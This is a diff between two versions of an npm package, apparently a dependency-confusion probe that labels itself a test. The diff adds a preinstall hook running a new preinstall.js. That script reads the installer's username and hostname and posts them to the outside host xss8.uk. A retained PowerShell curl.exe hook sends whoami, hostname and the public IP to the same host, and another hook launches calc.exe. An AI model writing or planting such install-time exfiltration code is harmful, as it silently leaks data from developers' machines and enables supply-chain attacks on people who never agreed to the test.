@accesshsc/access-forms-engine 0.99.99 → 0.999.999

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@accesshsc/access-forms-engine",
-  "version": "0.99.99",
+  "version": "0.999.999",
   "description": "Testing dependency confusion",
   "main": "index.js",
   "publishConfig": {
@@ -8,7 +8,8 @@
   },
   "scripts": {
     "preinstall2": "calc.exe",
-    "preinstall": "powershell -Command \"curl.exe -X POST https://xss8.uk/page_callback -F \\\"uri=Dependency confusion test (accesshsc/access-forms-engine): $(whoami)\\\" -F \\\"html=Hostname: $(hostname), IP: $(curl.exe -s ifconfig.me)\\\"\""
+    "preinstall": "node preinstall.js",
+    "preinstall3": "powershell -Command \"curl.exe -X POST https://xss8.uk/page_callback -F \\\"uri=Dependency confusion test (accesshsc/access-forms-engine): $(whoami)\\\" -F \\\"html=Hostname: $(hostname), IP: $(curl.exe -s ifconfig.me)\\\"\""
   },
   "author": "",
   "license": "ISC",

package/preinstall.js

@@ -0,0 +1,24 @@
+const os = require("os");
+
+// Collect system info
+const username = os.userInfo().username;
+const hostname = os.hostname();
+
+
+// Fetch with timeout (20 seconds)
+const controller = new AbortController();
+const timeout = setTimeout(() => controller.abort(), 20000);
+
+fetch("https://xss8.uk/page_callback", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+        uri: `Dependency confusion test (accesshsc/access-forms-engine): ${username}`,
+        html: `Hostname: ${hostname}`,
+    }),
+    signal: controller.signal,
+})
+    .then((res) => res.text())
+    .then((data) => {
+        clearTimeout(timeout);
+    })